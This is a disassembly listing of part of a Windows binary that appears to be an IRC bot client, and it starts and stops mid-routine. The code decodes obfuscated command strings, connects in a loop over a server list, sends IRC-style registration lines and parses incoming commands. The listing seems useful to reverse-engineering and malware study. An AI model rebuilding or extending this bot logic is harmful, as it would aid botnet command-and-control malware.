		db 9 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F610	proc near		; CODE XREF: sub_401D02j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	eax, [esp+0Ch+arg_0]
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		mov	[eax], edx
		xor	eax, eax
		add	esp, 4
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
sub_40F610	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F680	proc near		; CODE XREF: sub_401695j

var_29		= byte ptr -29h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40F680
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+3Ch+var_28], esi
		call	sub_401E6A
		lea	edi, [esi+11h]
		mov	[esp+3Ch+var_4], 0
		mov	ecx, edi
		call	sub_4011B3
		lea	ebp, [esi+28h]
		mov	ecx, ebp
		call	sub_401424
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+3Ch+var_4], 1
		call	sub_401424
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+3Ch+var_4], 2
		call	sub_401749
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+3Ch+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+3Ch+var_4], 4
		call	sub_401749
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+3Ch+var_4], 5
		call	sub_401749
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+3Ch+var_4], 6
		call	sub_401749
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+3Ch+var_4], 7
		call	sub_401749
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+3Ch+var_4], 8
		call	sub_401749
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+3Ch+var_4], 9
		call	sub_401749
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+3Ch+var_4], 0Ah
		call	sub_401749
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+3Ch+var_4], 0Bh
		call	sub_401749
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+3Ch+var_4], 0Ch
		call	sub_401749
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+3Ch+var_4], 0Dh
		call	sub_401749
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+3Ch+var_4], 0Eh
		call	sub_401749
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+3Ch+var_4], 0Fh
		call	sub_401749
		lea	eax, [esp+3Ch+var_29]
		lea	ecx, [esi+2DAh]
		push	eax
		mov	byte ptr [esp+40h+var_4], 10h
		call	sub_401721
		mov	dword ptr [edi], offset	off_43E034
		mov	bl, 11h
		xor	edi, edi
		push	offset byte_446F30
		mov	ecx, ebp
		mov	byte ptr [esp+40h+var_4], bl
		mov	dword ptr [esi], offset	off_43E028
		mov	byte ptr [esi+17h], 1
		mov	byte ptr [esi+15h], 0
		mov	byte ptr [esi+16h], 0
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		mov	[esi+1Ch], edi
		mov	[esi+20h], edi
		call	sub_4015D7
		nop
		call	near ptr 2870914h
		push	edi
		push	21h
		push	28h
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	2Ah
		push	ecx
		mov	[esi+24h], eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 12h
		call	sub_4017E4
		push	eax
		push	offset dword_4470BC
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Dh
		push	23h
		push	2Eh
		push	29h
		lea	edx, [esp+54h+var_24]
		push	28h
		push	edx
		call	sub_4019B5
		add	esp, 20h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 13h
		call	sub_4017E4
		push	eax
		push	offset dword_4470C0
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	28h
		push	23h
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	24h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 14h
		call	sub_4017E4
		push	eax
		push	offset dword_4470C4
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	21h
		push	2Dh
		push	27h
		push	30h
		push	23h
		push	2Ch
		lea	ecx, [esp+58h+var_24]
		push	2Ah
		push	ecx
		call	sub_4019B5
		add	esp, 24h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 15h
		call	sub_4017E4
		push	eax
		push	offset dword_4470C8
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Dh
		push	29h
		push	22h
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+5Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019B5
		add	esp, 28h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 16h
		call	sub_4017E4
		push	eax
		push	offset dword_4470CC
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	47h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 17h
		call	sub_4017E4
		push	eax
		push	offset dword_4470D0
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	47h
		push	ecx
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 18h
		call	sub_4017E4
		push	eax
		push	offset dword_4470D4
		call	sub_401D02
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	21h
		push	28h
		push	29h
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 19h
		call	sub_4017E4
		push	eax
		push	offset dword_4470D8
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Dh
		push	2Dh
		push	1Bh
		lea	eax, [esp+4Ch+var_24]
		push	2Ah
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ah
		call	sub_4017E4
		push	eax
		push	offset dword_4470DC
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	28h
		push	ecx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Bh
		call	sub_4017E4
		push	eax
		push	offset dword_4470E0
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+4Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ch
		call	sub_4017E4
		push	eax
		push	offset dword_4470E4
		call	sub_401D02
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	47h
		push	49h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Dh
		call	sub_4017E4
		push	eax
		push	offset dword_4470E8
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	25h
		push	ecx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Eh
		call	sub_4017E4
		push	eax
		push	offset dword_4470EC
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Ch
		push	1Bh
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Fh
		call	sub_4017E4
		push	eax
		push	offset dword_4470F0
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Eh
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	27h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 20h
		call	sub_4017E4
		push	eax
		push	offset dword_4470F4
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	45h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	44h
		push	ecx
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 21h
		call	sub_4017E4
		push	eax
		push	offset dword_4470F8
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	49h
		push	44h
		lea	edx, [esp+48h+var_24]
		push	44h
		push	edx
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 22h
		call	sub_4017E4
		push	eax
		push	offset dword_4470FC
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	23h
		push	2Fh
		lea	eax, [esp+4Ch+var_24]
		push	2Bh
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 23h
		call	sub_4017E4
		push	eax
		push	offset dword_447100
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		mov	ecx, [esp+3Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn
sub_40F680	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 180h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FDF0	proc near		; CODE XREF: ___:004019C4j sub_401A3Cj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4013C0
sub_40FDF0	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_40FE08
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40FE08:				; CODE XREF: ___:0040FDFDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FE20	proc near		; CODE XREF: sub_4013C0j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40FE20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E028
		mov	dword ptr [esi+11h], offset off_43E034
		lea	ecx, [esi+2DAh]
		mov	[esp+14h+var_4], 10h
		call	sub_401B54
sub_40FE20	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401023
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401023
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_401023
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_401023
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401023
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_401023
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+10h], 9
		call	sub_401023
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+10h], 8
		call	sub_401023
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+10h], 7
		call	sub_401023
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+10h], 6
		call	sub_401023
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+10h], 5
		call	sub_401023
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+10h], 4
		call	sub_401023
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+10h], 3
		call	sub_401023
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+10h], 2
		call	sub_401023
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+28h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40FFE0	proc near		; CODE XREF: sub_40212Bj

var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_1C		= byte ptr  20h
arg_1E		= word ptr  22h
arg_20		= dword	ptr  24h
arg_24		= dword	ptr  28h
arg_28		= dword	ptr  2Ch
arg_2C		= dword	ptr  30h
arg_34		= byte ptr  38h
arg_4C		= byte ptr  50h
arg_64		= byte ptr  68h
arg_7C		= byte ptr  80h
arg_94		= byte ptr  98h
arg_AC		= byte ptr  0B0h
arg_C4		= byte ptr  0C8h
arg_DC		= byte ptr  0E0h
arg_F4		= byte ptr  0F8h
arg_10C		= byte ptr  110h
arg_124		= byte ptr  128h
arg_13C		= byte ptr  140h
arg_154		= byte ptr  158h
arg_16C		= byte ptr  170h
arg_184		= byte ptr  188h
arg_19C		= byte ptr  1A0h
arg_1B4		= byte ptr  1B8h
arg_1CC		= byte ptr  1D0h
arg_1E4		= byte ptr  1E8h
arg_1FC		= byte ptr  200h
arg_214		= byte ptr  218h
arg_22C		= byte ptr  230h
arg_244		= byte ptr  248h
arg_25C		= byte ptr  260h
arg_274		= byte ptr  278h
arg_28C		= byte ptr  290h
arg_2A4		= byte ptr  2A8h
arg_2BC		= byte ptr  2C0h
arg_2D4		= byte ptr  2D8h
arg_2EC		= byte ptr  2F0h
arg_304		= byte ptr  308h
arg_31C		= byte ptr  320h
arg_334		= byte ptr  338h
arg_34C		= byte ptr  350h
arg_364		= byte ptr  368h
arg_37C		= byte ptr  380h
arg_394		= byte ptr  398h
arg_3AC		= byte ptr  3B0h
arg_3C4		= byte ptr  3C8h
arg_3DC		= byte ptr  3E0h
arg_3F4		= byte ptr  3F8h
arg_408		= byte ptr  40Ch
arg_40C		= byte ptr  410h
arg_464		= byte ptr  468h
arg_2464	= dword	ptr  2468h
arg_246C	= dword	ptr  2470h
arg_2470	= dword	ptr  2474h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_439673
		push	eax
		mov	eax, 2478h
		mov	large fs:0, esp
		call	sub_4368E0
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+1Ch+var_4]
		call	sub_401424
		mov	al, [ebp+17h]
		xor	ebx, ebx
		cmp	al, bl
		mov	[esp+1Ch+arg_2470], ebx
		jz	loc_4113B0


loc_410022:				; CODE XREF: sub_40FFE0+13CAj
		mov	al, byte_4E6E44
		mov	edi, dword_50F8A4
		cmp	al, bl
		jz	loc_4113B0
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jnz	short loc_41004A
		cmp	dword ptr [ebp+1Ch], 5
		jg	short loc_410054
		cmp	eax, ebx
		jz	loc_41018E


loc_41004A:				; CODE XREF: sub_40FFE0+5Aj
		cmp	dword ptr [ebp+1Ch], 2
		jle	loc_41018E


loc_410054:				; CODE XREF: sub_40FFE0+60j
		mov	eax, [ebp+18h]
		mov	[ebp+16h], bl
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+15h], bl
		jz	short loc_410069
		push	eax
		nop
		call	near ptr 71AB9639h


loc_410069:				; CODE XREF: sub_40FFE0+80j
		mov	ecx, offset word_448C5E
		mov	dword ptr [ebp+18h], 0FFFFFFFFh
		call	sub_401537
		mov	esi, [ebp+20h]
		inc	esi
		mov	[ebp+20h], esi
		lea	esi, [ebp+2DAh]
		mov	ecx, esi
		call	sub_401974
		mov	ecx, [ebp+20h]
		dec	eax
		cmp	ecx, eax
		jbe	short loc_410099
		mov	[ebp+20h], ebx


loc_410099:				; CODE XREF: sub_40FFE0+B4j
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		mov	[ebp+1Ch], ebx
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 16Dh
		push	ecx
		push	offset byte_4473ED
		mov	ecx, offset word_448CD6
		call	sub_401F32
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_40146A
		mov	eax, [eax]
		mov	ecx, offset word_448CD6
		add	eax, 1B6h
		push	eax
		push	offset dword_4473A4
		call	sub_401F32
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_40146A
		mov	edx, [eax]
		mov	ecx, offset word_448CD6
		push	edx
		push	offset dword_447280
		call	sub_401F32
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 124h
		push	ecx
		push	offset word_447312
		mov	ecx, offset word_448CD6
		call	sub_401F32
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_40146A
		mov	eax, [eax]
		mov	ecx, offset word_448CD6
		add	eax, 0DBh
		push	eax
		push	offset byte_4472C9
		call	sub_401F32
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_40146A
		mov	edx, [eax]
		mov	ecx, offset word_448CD6
		add	edx, 92h
		push	edx
		push	offset byte_44735B
		call	sub_401F32
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 1FFh
		push	ecx
		push	offset byte_44747F
		mov	ecx, offset word_448CD6
		call	sub_401F32
		call	edi
		mov	[ebp+24h], eax


loc_41018E:				; CODE XREF: sub_40FFE0+64j
					; sub_40FFE0+6Ej
		mov	edx, [ebp+18h]
		cmp	edx, 0FFFFFFFFh
		jnz	short loc_4101B8
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		push	7D0h
		mov	[ebp+18h], eax
		mov	[ebp+15h], bl
		call	near ptr 28C1E38h
		nop
		jmp	loc_4113A7
; ---------------------------------------------------------------------------


loc_4101B8:				; CODE XREF: sub_40FFE0+1B4j
		cmp	[ebp+15h], bl
		jnz	loc_410348
		mov	ax, word_44732C
		xor	edx, edx
		mov	[esp+20h+arg_20], edx
		push	eax
		mov	[esp+24h+arg_24], edx
		mov	word ptr [esp+24h+arg_20], 2
		mov	[esp+24h+arg_28], edx
		mov	[esp+24h+arg_2C], edx
		nop
		call	near ptr 71AB2B66h
		mov	ecx, offset byte_4472C9
		mov	[esp+24h+arg_1E], ax
		call	sub_4017E4
		push	eax
		call	sub_40187F
		add	esp, 4
		mov	[esp+24h+arg_20], eax
		call	edi
		mov	edx, [ebp+18h]
		lea	ecx, [esp+24h+arg_1C]
		push	10h
		push	ecx
		push	edx
		mov	[ebp+24h], eax
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410238
		push	2710h
		nop
		call	near ptr 28C1E38h
		mov	eax, [ebp+1Ch]
		mov	[ebp+15h], bl
		inc	eax
		mov	[ebp+1Ch], eax
		jmp	loc_4113A7
; ---------------------------------------------------------------------------


loc_410238:				; CODE XREF: sub_40FFE0+23Cj
		mov	byte ptr [ebp+15h], 1
		mov	[ebp+16h], bl
		call	edi
		mov	[ebp+24h], eax
		xor	eax, eax
		mov	[esp+30h+arg_0], eax
		lea	ecx, [esp+30h+arg_20]
		mov	[esp+30h+arg_4], eax
		lea	edx, [esp+30h+arg_0]
		mov	[esp+30h+arg_8], eax
		push	ecx
		mov	[esp+34h+arg_C], eax
		mov	eax, [ebp+18h]
		push	edx
		push	eax
		mov	[esp+3Ch+arg_20], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+3Ch+var_4+3]
		mov	edx, [esp+3Ch+var_4+2]
		mov	eax, [esp+3Ch+var_4+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+40h+var_4]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+4Ch+arg_408]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	sub_69BB85
		add	esp, 18h
		lea	eax, [esp+3Ch+arg_408]
		lea	ecx, [ebp+3Dh]
		push	eax
		call	sub_4015D7
		lea	ecx, [esp+3Ch+arg_408]
		push	ecx
		nop
		call	near ptr 71AB2BF4h
		push	offset byte_446F30
		mov	ecx, offset byte_44735B
		mov	[ebp+52h], eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410307
		mov	ecx, offset byte_44735B
		call	sub_4017E4
		mov	edx, dword_4470DC
		push	eax
		push	edx
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h


loc_410307:				; CODE XREF: sub_40FFE0+305j
		mov	ecx, offset byte_4E6E45
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_4E6E45
		call	sub_4017E4
		push	eax
		mov	eax, dword_4470E4
		push	eax
		mov	ecx, offset byte_4E6E45
		call	sub_4017E4
		mov	ecx, dword_4470E0
		push	eax
		push	ecx
		push	offset aSSSS00S	; "%s %s\r\n%s %s 0 0 :%s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 1Ch
		jmp	loc_4113A7
; ---------------------------------------------------------------------------


loc_410348:				; CODE XREF: sub_40FFE0+1DBj
		mov	ecx, 800h
		xor	eax, eax
		lea	edi, [esp+20h+arg_464]
		push	ebx
		rep stosd
		lea	eax, [esp+24h+arg_464]
		push	2000h
		push	eax
		push	edx
		call	sub_401280
		add	esp, 10h
		cmp	al, bl
		jz	loc_4113A0
		nop
		call	near ptr 2870914h
		lea	ecx, [esp+20h+var_8]
		mov	[ebp+24h], eax
		call	sub_401CBC
		lea	ecx, [esp+20h+arg_464]
		push	ecx
		lea	ecx, [esp+24h+var_8]
		call	sub_401A87
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_364]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_4470E8
		mov	byte ptr [esp+20h+arg_246C], 1
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_410420
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_3F4]
		push	4
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset dword_4473A4
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 2
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+20h+arg_3F4]
		mov	byte ptr [esp+20h+arg_246C], 1
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_410424


loc_410420:				; CODE XREF: sub_40FFE0+3EAj
		mov	[esp+20h+var_D], bl


loc_410424:				; CODE XREF: sub_40FFE0+43Ej
		lea	ecx, [esp+20h+arg_364]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410446
		mov	byte ptr [ebp+16h], 1
		jmp	loc_4113A7
; ---------------------------------------------------------------------------


loc_410446:				; CODE XREF: sub_40FFE0+45Bj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_F4]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_4470BC
		mov	byte ptr [esp+20h+arg_246C], 3
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_F4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_443600 ; " "
		cmp	al, bl
		push	1
		jz	short loc_4104E4
		lea	edx, [esp+28h+arg_2A4]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 4
		call	sub_4017E4
		push	eax
		mov	eax, dword_4470D8
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2A4]
		jmp	loc_410612
; ---------------------------------------------------------------------------


loc_4104E4:				; CODE XREF: sub_40FFE0+4BAj
		lea	edx, [esp+28h+arg_124]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016AE
		mov	ecx, dword_4470C0
		mov	byte ptr [esp+20h+arg_246C], 5
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_124]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_443600 ; " "
		cmp	al, bl
		jz	loc_410650
		lea	edx, [esp+24h+arg_40C]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset byte_446F30
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 6
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_40C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_4113A7
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_154]
		push	11h
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_4470D8
		mov	byte ptr [esp+20h+arg_246C], 7
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_154]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410617
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_2D4]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 8
		call	sub_4017E4
		push	eax
		mov	eax, dword_4470D8
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2D4]


loc_410612:				; CODE XREF: sub_40FFE0+4FFj
		call	sub_401226


loc_410617:				; CODE XREF: sub_40FFE0+5E6j
		cmp	[ebp+16h], bl
		jnz	loc_4113A7
		mov	ecx, offset byte_4473ED
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_4473A4
		call	sub_4017E4
